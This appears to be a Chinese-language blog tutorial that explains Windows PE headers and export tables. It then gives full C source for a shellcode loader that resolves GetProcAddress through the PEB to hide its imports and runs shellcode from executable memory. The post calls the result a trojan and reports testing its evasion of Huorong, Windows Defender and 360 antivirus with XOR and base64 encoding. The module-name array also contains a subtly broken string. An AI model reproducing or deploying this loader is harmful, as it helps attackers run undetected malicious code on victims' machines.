Author:ILU
前言
上一篇文章讲了如何从进程的TEB获取PEB,然后再从PEB中的LDR中的加载时的模块链表获取指定模块(Kernel32.dll),并通过断链的形式隐藏kernel32.dll。但是这里的隐藏并不是真正隐藏dll模块,只是在某些情况下看不到,实际上还是可以查得到的。上一篇文章学的过程实在是太久了,琢磨了很久,好在也是整出来了。
本篇文章利用PEB获取到的模块基址,然后一步一步的找到对应的函数,然后再利用函数执行shellcode。
注意
:编译时选择x86,x64代码还需要做一些简单的修改。
正题
在这里的话我们要了解一下PE相关的知识。
什么是PE文件?
PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL)。(摘自百度百科)
PE文件的结构
这里简单的以一张图的形式去了解,细节后面慢慢讲。
PE文件的各个部分都有其对应的结构体,这是微软定义好的。我们可以通过结构体指针,获取到对应的值,同时我们用读取进制的软件(比如:HXD)打开PE文件,也够通过这些结构体一个一个的找出其对应的数值。
突然发现,这东西好像一时半会讲不清楚,涉及的知识点太多了。
DOS头部
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // MZ头
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // 文件头地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
在dos头中我们重点关注e_magic
和e_lfanew
,其余成员可以不用纠结。首先,e_magic
在PE文件中总是为"MZ",相当于一个标识;然后是e_lfanew
,我们在3C的位置能够找到它,它指向了文件头的首地址。
文件头
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; // PE标识
IMAGE_FILE_HEADER FileHeader; // 标准文件头
IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 拓展文件头
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
文件头包含了三个内容:PE标识、标准文件头、拓展文件头。在dos头中找到3c的位置,我们就能找到文件头,指向的位置其实是PE标识的位置。也就是说我们可以通过偏移量来找到对应的结构或者数值。
标准文件头
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
拓展文件头
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
篇幅实在是太长了,这里简单做个了解吧,细节我在实际代码中做好注释。接下来,我们来看实际代码。
导出地址表
在拓展头中的最后一个元素DataDirectory
,这里面包含了导入地址表、导出地址表等信息,总共有16个元素。我们这里用到了导出地址表,并且其位置处于该数组的第一个,所以也来看下这个结构。
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // 函数地址表
DWORD AddressOfNames; // 函数名称表
DWORD AddressOfNameOrdinals; // 函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
重点关注最后三个元素,我们这里通过函数名称表获取到指定函数的序号再通过序号获取函数地址表中的函数地址。
函数名称表 --> 函数序号表 --> 函数地址表 --> 获得函数地址
代码
获取PEB
DWORD GetPeb() {
// 定义数据结构
_PEB_LDR_DATA* Ldr;
// 获取Ldr
// TEB:0x30处存储PEB信息
// PEB:0x0C处存储Ldr信息
_asm {
push eax
push ebx
xor eax, eax
xor ebx, ebx
mov eax, fs: [0x30]
mov ebx, [eax + 0x0C]
mov Ldr, ebx
pop ebx
pop eax
}
return (DWORD)Ldr;
}
获取Kernel32模块地址
DWORD GetKenel32(DWORD Ldr) {
// 定义要获取的函数名, 因为数据类型位_UNICODE_STRING,所以此处许需要设置为UNICDOE的格式
char funcName[] = { 'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0 };
DWORD kernel32Addr = NULL;
// 定义数据结构
_LIST_ENTRY* pBack;
_PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
_LDR_DATA_TABLE_ENTRY* pNext;
_LDR_DATA_TABLE_ENTRY* pHide;
// 获取加载模块列表
pBack = &pLdr->InLoadOrderModuleList;
// 获取第一个模块,这是一个双向链表
// 第一个模块存储进程信息,后面的才是dll信息
pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;
// 因为是链表,所以当pNext = pBack的时候就意味着走了一轮了
while ((int*)pBack != (int*)pNext) {
// 此处是个大坑
// 给我整吐了呀
// 根据结构类型返回结构实例的基址,可以获取三个链表的基址,而不是单个
pHide = CONTAINING_RECORD(pNext, _LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
PCHAR pfuncName = (PCHAR)funcName;
while (*BaseDllName && *BaseDllName == *pfuncName) {
BaseDllName++;
pfuncName++;
}
// 判断模块名是否相等,相等就隐藏模块
if (*BaseDllName == *pfuncName) {
kernel32Addr = (DWORD)pNext->DllBase;
break;
}
// 指向下一个模块
pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;
}
return kernel32Addr;
}
获取指定函数
// 声明函数类型
typedef FARPROC(WINAPI* PGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
DWORD GetFuncAddr(HMODULE Module) {
// 初始化pGetProcAddress
PGETPROCADDRESS pGetProcAddress = NULL;
// 这种方式是为了后面造shellcode方便, 指定要找的函数名
CHAR funcName[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
printf("[*] The name of the function to be found: %s\n", funcName);
// 获取dos头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
// 获取文件头
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
printf("[+] Get the address of ExportDirectory: %p\n", exportDirectory);
// 获取导出表中的三个表
// AddressOfNames: 名称表
// AddressOfNameOrdinals: 序号表
// AddressOfFunctions: 函数地址表
DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNames);
printf("[+] Get the address of AddressOfNames: %p\n", AddressOfNames);
WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNameOrdinals);
printf("[+] Get the address of AddressOfNameOrdinals: %p\n", AddressOfNameOrdinals);
DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfFunctions);
printf("[+] Get the address of AddressOfFunctions: %p\n", AddressOfFunctions);
PCHAR pfuncName = funcName;
// 寻找对应函数
for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
while (*lpName && *lpName == *pfuncName) {
lpName++;
pfuncName++;
}
if (*lpName == *pfuncName) {
// 找到函数后,给函数赋值
pGetProcAddress = (PGETPROCADDRESS)((DWORD)dosHeader + AddressOfFunctions[AddressOfNameOrdinals[i]]);
printf("[+] Get the address of GetProcAddress: %p\n", pGetProcAddress);
return (DWORD)pGetProcAddress;
}
// 还原要找的函数名字,因为前面的操作修改了名字
pfuncName = funcName;
};
return 0;
}
主程序
int main() {
HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
printf("[+] Get the address of Kernel32.dll Module: %p\n", hKernel32);
PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
}
到这里我们就获取GetProcAddress
的函数地址,并且重新声明赋值后我们就已经可以正常使用这个函数了。
完整代码
头文件
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <string.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")
//0x28 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
struct _LIST_ENTRY InMemoryOrderModuleList; //0x14
struct _LIST_ENTRY InInitializationOrderModuleList; //0x1c
VOID* EntryInProgress; //0x24
};
//0x8 bytes (sizeof)
struct _UNICODE_STRING
{
USHORT Length; //0x0
USHORT MaximumLength; //0x2
WCHAR* Buffer; //0x4
};
//0xc bytes (sizeof)
struct _RTL_BALANCED_NODE
{
union
{
struct _RTL_BALANCED_NODE* Children[2]; //0x0
struct
{
struct _RTL_BALANCED_NODE* Left; //0x0
struct _RTL_BALANCED_NODE* Right; //0x4
};
};
union
{
struct
{
UCHAR Red : 1; //0x8
UCHAR Balance : 2; //0x8
};
ULONG ParentValue; //0x8
};
};
//0xa8 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x8
struct _LIST_ENTRY InInitializationOrderLinks; //0x10
VOID* DllBase; //0x18
VOID* EntryPoint; //0x1c
ULONG SizeOfImage; //0x20
struct _UNICODE_STRING FullDllName; //0x24
struct _UNICODE_STRING BaseDllName; //0x2c
union
{
UCHAR FlagGroup[4]; //0x34
ULONG Flags; //0x34
struct
{
ULONG PackagedBinary : 1; //0x34
ULONG MarkedForRemoval : 1; //0x34
ULONG ImageDll : 1; //0x34
ULONG LoadNotificationsSent : 1; //0x34
ULONG TelemetryEntryProcessed : 1; //0x34
ULONG ProcessStaticImport : 1; //0x34
ULONG InLegacyLists : 1; //0x34
ULONG InIndexes : 1; //0x34
ULONG ShimDll : 1; //0x34
ULONG InExceptionTable : 1; //0x34
ULONG ReservedFlags1 : 2; //0x34
ULONG LoadInProgress : 1; //0x34
ULONG LoadConfigProcessed : 1; //0x34
ULONG EntryProcessed : 1; //0x34
ULONG ProtectDelayLoad : 1; //0x34
ULONG ReservedFlags3 : 2; //0x34
ULONG DontCallForThreads : 1; //0x34
ULONG ProcessAttachCalled : 1; //0x34
ULONG ProcessAttachFailed : 1; //0x34
ULONG CorDeferredValidate : 1; //0x34
ULONG CorImage : 1; //0x34
ULONG DontRelocate : 1; //0x34
ULONG CorILOnly : 1; //0x34
ULONG ChpeImage : 1; //0x34
ULONG ReservedFlags5 : 2; //0x34
ULONG Redirected : 1; //0x34
ULONG ReservedFlags6 : 2; //0x34
ULONG CompatDatabaseProcessed : 1; //0x34
};
};
USHORT ObsoleteLoadCount; //0x38
USHORT TlsIndex; //0x3a
struct _LIST_ENTRY HashLinks; //0x3c
ULONG TimeDateStamp; //0x44
struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x48
VOID* Lock; //0x4c
struct _LDR_DDAG_NODE* DdagNode; //0x50
struct _LIST_ENTRY NodeModuleLink; //0x54
struct _LDRP_LOAD_CONTEXT* LoadContext; //0x5c
VOID* ParentDllBase; //0x60
VOID* SwitchBackContext; //0x64
struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0x68
struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0x74
ULONG OriginalBase; //0x80
union _LARGE_INTEGER LoadTime; //0x88
ULONG BaseNameHashValue; //0x90
enum _LDR_DLL_LOAD_REASON LoadReason; //0x94
ULONG ImplicitPathOptions; //0x98
ULONG ReferenceCount; //0x9c
ULONG DependentLoadFlags; //0xa0
UCHAR SigningLevel; //0xa4
};
主程序
#include "precompile.h"
typedef FARPROC(WINAPI* PGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
typedef LPVOID (WINAPI* VIRTUALALLOC)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
typedef VOID (WINAPI* RTLMOVEMEMORY)(VOID UNALIGNED* Destination,CONST VOID UNALIGNED* Source,SIZE_T Length);
typedef HANDLE (WINAPI* CREATETHREAD)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
typedef DWORD(WINAPI* WAITFORSINGLEOBJECT)(HANDLE hHandle,DWORD dwMilliseconds);
DWORD GetPeb() {
// 定义数据结构
_PEB_LDR_DATA* Ldr;
// 获取Ldr
// TEB:0x30处存储PEB信息
// PEB:0x0C处存储Ldr信息
_asm {
push eax
push ebx
xor eax, eax
xor ebx, ebx
mov eax, fs: [0x30]
mov ebx, [eax + 0x0C]
mov Ldr, ebx
pop ebx
pop eax
}
return (DWORD)Ldr;
}
DWORD GetKenel32(DWORD Ldr) {
// 定义要获取的函数名, 因为数据类型位_UNICODE_STRING,所以此处许需要设置为UNICDOE的格式
char funcName[] = { 'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0 };
DWORD kernel32Addr = NULL;
// 定义数据结构
_LIST_ENTRY* pBack;
_PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
_LDR_DATA_TABLE_ENTRY* pNext;
_LDR_DATA_TABLE_ENTRY* pHide;
// 获取加载模块列表
pBack = &pLdr->InLoadOrderModuleList;
// 获取第一个模块,这是一个双向链表
// 第一个模块存储进程信息,后面的才是dll信息
pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;
// 因为是链表,所以当pNext = pBack的时候就意味着走了一轮了
while ((int*)pBack != (int*)pNext) {
// 赋值
PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
PCHAR pfuncName = (PCHAR)funcName;
// 一个字母一个字母的判断
while (*BaseDllName && *BaseDllName == *pfuncName) {
BaseDllName++;
pfuncName++;
}
// 判断模块名是否相等,相等就隐藏模块
if (*BaseDllName == *pfuncName) {
kernel32Addr = (DWORD)pNext->DllBase;
break;
}
// 指向下一个模块
pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;
}
return kernel32Addr;
}
DWORD GetFuncAddr(HMODULE Module) {
// 初始化pGetProcAddress
PGETPROCADDRESS pGetProcAddress = NULL;
// 这种方式是为了后面造shellcode方便, 指定要找的函数名
CHAR funcName[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
printf("[*] The name of the function to be found: %s\n", funcName);
// 获取dos头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
// 获取文件头
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
printf("[+] Get the address of ExportDirectory: %p\n", exportDirectory);
// 获取导出表中的三个表
// AddressOfNames: 名称表
// AddressOfNameOrdinals: 序号表
// AddressOfFunctions: 函数地址表
DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNames);
printf("[+] Get the address of AddressOfNames: %p\n", AddressOfNames);
WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNameOrdinals);
printf("[+] Get the address of AddressOfNameOrdinals: %p\n", AddressOfNameOrdinals);
DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfFunctions);
printf("[+] Get the address of AddressOfFunctions: %p\n", AddressOfFunctions);
PCHAR pfuncName = funcName;
// 寻找对应函数
for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
while (*lpName && *lpName == *pfuncName) {
lpName++;
pfuncName++;
}
if (*lpName == *pfuncName) {
// 找到函数后,给函数赋值
pGetProcAddress = (PGETPROCADDRESS)((DWORD)dosHeader + AddressOfFunctions[AddressOfNameOrdinals[i]]);
printf("[+] Get the address of GetProcAddress: %p\n", pGetProcAddress);
return (DWORD)pGetProcAddress;
}
pfuncName = funcName;
};
return 0;
}
int main() {
HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
printf("[+] Get the address of Kernel32.dll Module: %p\n", hKernel32);
PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
VIRTUALALLOC myVirtualAlloc = (VIRTUALALLOC)pGetProcAddress(hKernel32, "VirtualAlloc");
RTLMOVEMEMORY myRtlMoveMemory = (RTLMOVEMEMORY)pGetProcAddress(hKernel32, "RtlMoveMemory");
CREATETHREAD myCreateThread = (CREATETHREAD)pGetProcAddress(hKernel32, "CreateThread");
WAITFORSINGLEOBJECT myWaitForSingleObject = (WAITFORSINGLEOBJECT)pGetProcAddress(hKernel32, "WaitForSingleObject");
// shellcode放到这里,是否异或自己决定
unsigned char buf[] ="";
LPVOID lpMem = myVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
myRtlMoveMemory(lpMem, buf, sizeof(buf));
HANDLE hThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0);
printf("[+] shellcode is running!\n");
printf("\n");
printf("++++++++++++++++++++++++++++++++++++++++++\n");
printf("++++++++ Happy ++++++++\n");
printf("++++++++++++++++++++++++++++++++++++++++++\n");
myWaitForSingleObject(hThread, INFINITE);
return 0;
}
这一轮操作下来也相当于隐藏了IAT,在kernel32中并未发现我们使用的函数。
来看下免杀情况!
火绒
shellcode未作处理,免杀火绒且正常上线。
Defender
defender查杀shellcode没做处理的木马,这边加上异或处理。
shellcode异或处理后,defender不再查杀且正常上线
360
复杂归复杂,360还是报毒了,这边继续对木马做处理。
测试发现是shellcode报毒了,也就是说我们做的复杂操作没有一点问题,这里我们再对shellcode做下处理,这里对代码做了base64加密。
// base64解密
int DecodeBase64(const BYTE* src, unsigned int srcLen, char* dst, unsigned int dstLen) {
DWORD outLen;
BOOL fRet;
outLen = dstLen;
fRet = CryptStringToBinary((LPCSTR)src, srcLen, CRYPT_STRING_BASE64, (BYTE*)dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0;
return(outLen);
}